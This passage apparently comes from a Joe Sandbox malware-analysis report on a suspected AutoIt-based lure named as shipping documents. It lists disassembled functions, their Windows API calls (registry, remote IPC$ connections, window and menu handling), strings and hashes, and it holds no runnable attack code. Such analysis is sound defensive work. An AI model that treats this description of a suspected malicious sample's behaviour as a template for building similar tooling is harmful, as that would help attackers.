                                                • Instruction ID: defe2e291b679c4f899ec1f9c41bc916e0ed9f3c559713ff2feb98aed1b192e6
                                                • Opcode Fuzzy Hash: b7f925ae4e79767ba08aafecbd67d4ed2db6131adc6c290cf37f76ef750dcfe1
                                                • Instruction Fuzzy Hash: A8214CB0604609BFE720DFB4FD89A3A7A79FB49749F041034F502811F1DBA28D538A61
                                                Function 009A6A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009C0957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,009A6B0C,?,00008000), ref: 009C0973
                                                  • Part of subcall function 009A4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009A4743,?,?,009A37AE,?), ref: 009A4770
                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 009A6BAD
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 009A6CFA
                                                  • Part of subcall function 009A586D: _wcscpy.LIBCMT ref: 009A58A5
                                                  • Part of subcall function 009C363D: _iswctype.LIBCMT ref: 009C3645
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
                                                • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                • API String ID: 537147316-1018226102
                                                • Opcode ID: b4079679f7115372fb75ba40898863a1a0eb02eae5cf24503cf368bf65fb5b6e
                                                • Instruction ID: 8a98afc6db78b384b21bf343bb610669e8c65cb665cc01602b706fbd8f0f92d3
                                                • Opcode Fuzzy Hash: b4079679f7115372fb75ba40898863a1a0eb02eae5cf24503cf368bf65fb5b6e
                                                • Instruction Fuzzy Hash: 0E028B305083409FC724EF24C891AAFBBE5EFD6354F54482EF4899B2A1DB34D949CB92
                                                Function 00A02D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A02D50
                                                • GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00A02DDD
                                                • GetMenuItemCount.USER32(00A65890), ref: 00A02E66
                                                • DeleteMenu.USER32(00A65890,00000005,00000000,000000F5,?,?), ref: 00A02EF6
                                                • DeleteMenu.USER32(00A65890,00000004,00000000), ref: 00A02EFE
                                                • DeleteMenu.USER32(00A65890,00000006,00000000), ref: 00A02F06
                                                • DeleteMenu.USER32(00A65890,00000003,00000000), ref: 00A02F0E
                                                • GetMenuItemCount.USER32(00A65890), ref: 00A02F16
                                                • SetMenuItemInfoW.USER32(00A65890,00000004,00000000,00000030), ref: 00A02F4C
                                                • GetCursorPos.USER32(?), ref: 00A02F56
                                                • SetForegroundWindow.USER32(00000000), ref: 00A02F5F
                                                • TrackPopupMenuEx.USER32(00A65890,00000000,?,00000000,00000000,00000000), ref: 00A02F72
                                                • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00A02F7E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                • String ID:
                                                • API String ID: 3993528054-0
                                                • Opcode ID: b07c43d5e8a6db24cd9fe488f59649c8ca640c9316b763c124c51cc272a01c43
                                                • Instruction ID: e6d8639fd8c951418b84b051e7a643758d25e08f3f227e9ff6068bdb5e67a81c
                                                • Opcode Fuzzy Hash: b07c43d5e8a6db24cd9fe488f59649c8ca640c9316b763c124c51cc272a01c43
                                                • Instruction Fuzzy Hash: 8771A370641319BEEB218F54EC8DFAABF64FF04754F140226F615A61E1C7B15C64D790
                                                Function 009F77DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                • _memset.LIBCMT ref: 009F786B
                                                • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 009F78A0
                                                • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 009F78BC
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 009F78D8
                                                • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 009F7902
                                                • CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 009F792A
                                                • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 009F7935
                                                • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 009F793A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
                                                • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                • API String ID: 1411258926-22481851
                                                • Opcode ID: e283c1f8869ba8ed91972e02a9de0825e3f9b53cb613c26bf8bffe506fcd0692
                                                • Instruction ID: 770d4b2ff9ba4450e30d34683389a4d3ebbf5fb568bc36ef29bfdffe7c2e3441
                                                • Opcode Fuzzy Hash: e283c1f8869ba8ed91972e02a9de0825e3f9b53cb613c26bf8bffe506fcd0692
                                                • Instruction Fuzzy Hash: 67410872C1422DABCF21EBE4EC85EFEB778BF48750F404429E905A7261EA705D05CBA0
                                                Function 00A20E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A1FDAD,?,?), ref: 00A20E31
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper
                                                • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                • API String ID: 3964851224-909552448
                                                • Opcode ID: 90e97ab4314491ec196133526abf4f889f95e1725d2e1842d953c2b5bcb8d5ee
                                                • Instruction ID: aafef9b744a84926c2022c0aa2f6170adf763cb7c7221c8f76517687a0a35c1e
                                                • Opcode Fuzzy Hash: 90e97ab4314491ec196133526abf4f889f95e1725d2e1842d953c2b5bcb8d5ee
                                                • Instruction Fuzzy Hash: 2441243154425ACBCB10EF58EA55FEB3B60BF91340F550428FC651B292DB349D2ACAA1
                                                Function 00A274BB Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00A2755E
                                                • CreateCompatibleDC.GDI32(00000000), ref: 00A27565
                                                • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00A27578
                                                • SelectObject.GDI32(00000000,00000000), ref: 00A27580
                                                • GetPixel.GDI32(00000000,00000000,00000000), ref: 00A2758B
                                                • DeleteDC.GDI32(00000000), ref: 00A27594
                                                • GetWindowLongW.USER32(?,000000EC), ref: 00A2759E
                                                • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00A275B2
                                                • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00A275BE
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                • String ID: @U=u$static
                                                • API String ID: 2559357485-3553413495
                                                • Opcode ID: 80e80f0abdd92726b6171fc86dc17c5e503d305bc43493894872f03c626e643e
                                                • Instruction ID: 719988bf7cae31ce96e15331f33ba10df0db9070f9accb68547399d7e5e8dffa
                                                • Opcode Fuzzy Hash: 80e80f0abdd92726b6171fc86dc17c5e503d305bc43493894872f03c626e643e
                                                • Instruction Fuzzy Hash: 7B315C71104125AFDF229FA8EC09FEA7B79EF09760F110238FA15960A0C731D912DBA4
                                                Function 009FF7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,009DE2A0,00000010,?,Bad directive syntax error,00A2F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 009FF7C2
                                                • LoadStringW.USER32(00000000,?,009DE2A0,00000010), ref: 009FF7C9
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                • _wprintf.LIBCMT ref: 009FF7FC
                                                • __swprintf.LIBCMT ref: 009FF81E
                                                • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 009FF88D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
                                                • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                • API String ID: 1506413516-4153970271
                                                • Opcode ID: e03f7e5fe3343df2822e11be6a8dfb5e9c3c24eac1b29c9770d02deeb1275af8
                                                • Instruction ID: 9b5e7e1d182458c61e4c71b7aab572393435d5da4fd1b1aff833c41131a3b5c3
                                                • Opcode Fuzzy Hash: e03f7e5fe3343df2822e11be6a8dfb5e9c3c24eac1b29c9770d02deeb1275af8
                                                • Instruction Fuzzy Hash: 16215C3294021EBBCF11EF90CC1AFFE7739BF18311F044869B515661A2EA359618DB91
                                                Function 00A052C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                  • Part of subcall function 009A7924: _memmove.LIBCMT ref: 009A79AD
                                                • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00A05330
                                                • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00A05346
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A05357
                                                • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00A05369
                                                • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00A0537A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: SendString$_memmove
                                                • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                • API String ID: 2279737902-1007645807
                                                • Opcode ID: 923da5cf75855b87480cd3dd6c56913391d92af95c04ef2f8e2ba0162c55eee0
                                                • Instruction ID: e0f1291bd9a81d3ae2a13eb9031f6d09bdb206a0b773a35bf41a7f7102e232f8
                                                • Opcode Fuzzy Hash: 923da5cf75855b87480cd3dd6c56913391d92af95c04ef2f8e2ba0162c55eee0
                                                • Instruction Fuzzy Hash: 89115E21A5012D7AD724A7B5DC5AEFFAA7CFBD6B41F400829B801A60D1DEB01D09C9A1
                                                Function 00A046B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
                                                • String ID: 0.0.0.0
                                                • API String ID: 208665112-3771769585
                                                • Opcode ID: 0b6cfb90097f106039d5fdbdd05973c53b320f3ab893f1d710bf9092bc07cb53
                                                • Instruction ID: bbb570daa7fe62838310e5e53cf5ac3b503649d36a7b8b9385ba40cd2483a059
                                                • Opcode Fuzzy Hash: 0b6cfb90097f106039d5fdbdd05973c53b320f3ab893f1d710bf9092bc07cb53
                                                • Instruction Fuzzy Hash: FB11D571900118AFCB24AB74AC46FEA77BCFB45711F0401BAF545960D1EF7189828AA1
                                                Function 00A0D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                • CoInitialize.OLE32(00000000), ref: 00A0D5EA
                                                • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00A0D67D
                                                • SHGetDesktopFolder.SHELL32(?), ref: 00A0D691
                                                • CoCreateInstance.OLE32(00A32D7C,00000000,00000001,00A58C1C,?), ref: 00A0D6DD
                                                • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00A0D74C
                                                • CoTaskMemFree.OLE32(?,?), ref: 00A0D7A4
                                                • _memset.LIBCMT ref: 00A0D7E1
                                                • SHBrowseForFolderW.SHELL32(?), ref: 00A0D81D
                                                • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00A0D840
                                                • CoTaskMemFree.OLE32(00000000), ref: 00A0D847
                                                • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00A0D87E
                                                • CoUninitialize.OLE32(00000001,00000000), ref: 00A0D880
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                • String ID:
                                                • API String ID: 1246142700-0
                                                • Opcode ID: 6201868dca60f606f41fa9f39565d8cf016bf617f2ee7fbf14980ea04fc6592c
                                                • Instruction ID: 7c0faa26d67ac9bc5c4f3ffcc9b046a03627b35efd2b793f11ae8524aac2f5f2
                                                • Opcode Fuzzy Hash: 6201868dca60f606f41fa9f39565d8cf016bf617f2ee7fbf14980ea04fc6592c
                                                • Instruction Fuzzy Hash: 07B1FE75A00109AFDB14DFA8D884EAEBBB9FF89314F148469F909EB251DB30ED45CB50
                                                Function 009FC267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDlgItem.USER32(?,00000001), ref: 009FC283
                                                • GetWindowRect.USER32(00000000,?), ref: 009FC295
                                                • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 009FC2F3
                                                • GetDlgItem.USER32(?,00000002), ref: 009FC2FE
                                                • GetWindowRect.USER32(00000000,?), ref: 009FC310
                                                • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 009FC364
                                                • GetDlgItem.USER32(?,000003E9), ref: 009FC372
                                                • GetWindowRect.USER32(00000000,?), ref: 009FC383
                                                • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 009FC3C6
                                                • GetDlgItem.USER32(?,000003EA), ref: 009FC3D4
                                                • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 009FC3F1
                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 009FC3FE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ItemMoveRect$Invalidate
                                                • String ID:
                                                • API String ID: 3096461208-0
                                                • Opcode ID: bd162f43b7792ae0de9af094e3bd96984f2421ff806550065e02db3d195f3876
                                                • Instruction ID: a863e0e7cd9fcbdaa82fe664d59d1a4d59610bb5b496285bc3c3acfd39b342fa
                                                • Opcode Fuzzy Hash: bd162f43b7792ae0de9af094e3bd96984f2421ff806550065e02db3d195f3876
                                                • Instruction Fuzzy Hash: D05101B1B00209AFDB18CFADDD95ABEBBBAEB88711F14813DF615D6290D7709D418B10
                                                Function 009A201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,009A2036,?,00000000,?,?,?,?,009A16CB,00000000,?), ref: 009A1B9A
                                                • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 009A20D3
                                                • KillTimer.USER32(-00000001,?,?,?,?,009A16CB,00000000,?,?,009A1AE2,?,?), ref: 009A216E
                                                • DestroyAcceleratorTable.USER32(00000000), ref: 009DBCA6
                                                • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,009A16CB,00000000,?,?,009A1AE2,?,?), ref: 009DBCD7
                                                • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,009A16CB,00000000,?,?,009A1AE2,?,?), ref: 009DBCEE
                                                • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,009A16CB,00000000,?,?,009A1AE2,?,?), ref: 009DBD0A
                                                • DeleteObject.GDI32(00000000), ref: 009DBD1C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                • String ID:
                                                • API String ID: 641708696-0
                                                • Opcode ID: 4d074dc81d55b3e2baaf85f0d58f3d14ce79654d43d81fda95360dd639e6e250
                                                • Instruction ID: 9ae2505bdd51d0d1e4c0065233aad5ee60f60b6465dedb132733336af84e910c
                                                • Opcode Fuzzy Hash: 4d074dc81d55b3e2baaf85f0d58f3d14ce79654d43d81fda95360dd639e6e250
                                                • Instruction Fuzzy Hash: 17617C31904A11DFCB35DF68D948B2977F6FB41312F108939E5829BA70C7B5A892DBD0
                                                Function 009A21A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A25DB: GetWindowLongW.USER32(?,000000EB), ref: 009A25EC
                                                • GetSysColor.USER32(0000000F), ref: 009A21D3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ColorLongWindow
                                                • String ID:
                                                • API String ID: 259745315-0
                                                • Opcode ID: ff75b04f9199c61e3db762ac02d665c50aa1edfdf1495612490e1f5cedb1b642
                                                • Instruction ID: e325bf7cfc2780265f1c6a1fd2f8c17e9f0676078a6210fa3ebc19dbddbc37b2
                                                • Opcode Fuzzy Hash: ff75b04f9199c61e3db762ac02d665c50aa1edfdf1495612490e1f5cedb1b642
                                                • Instruction Fuzzy Hash: 39417E31140140DEDB299F6CDC88BB93B6AEB46321F154375FE658A2E5C7318C42DBA1
                                                Function 00A0A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharLowerBuffW.USER32(?,?,00A2F910), ref: 00A0A90B
                                                • GetDriveTypeW.KERNEL32(00000061,00A589A0,00000061), ref: 00A0A9D5
                                                • _wcscpy.LIBCMT ref: 00A0A9FF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharDriveLowerType_wcscpy
                                                • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                • API String ID: 2820617543-1000479233
                                                • Opcode ID: a84b06f60e3f064531c67768c3264b472c5a2cf908434b66613a919e401e3294
                                                • Instruction ID: bdefa541123ed594f068d7c8b0548ce55b42da39d1be741339d9d93f8b8fccea
                                                • Opcode Fuzzy Hash: a84b06f60e3f064531c67768c3264b472c5a2cf908434b66613a919e401e3294
                                                • Instruction Fuzzy Hash: 79518E31618305ABC710EF14D892BAFB7A5FFD5384F50482DF895572E2DB319909CA93
                                                Function 00A28645 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 168COMMON
                                                Download Yara Rule
                                                APIs
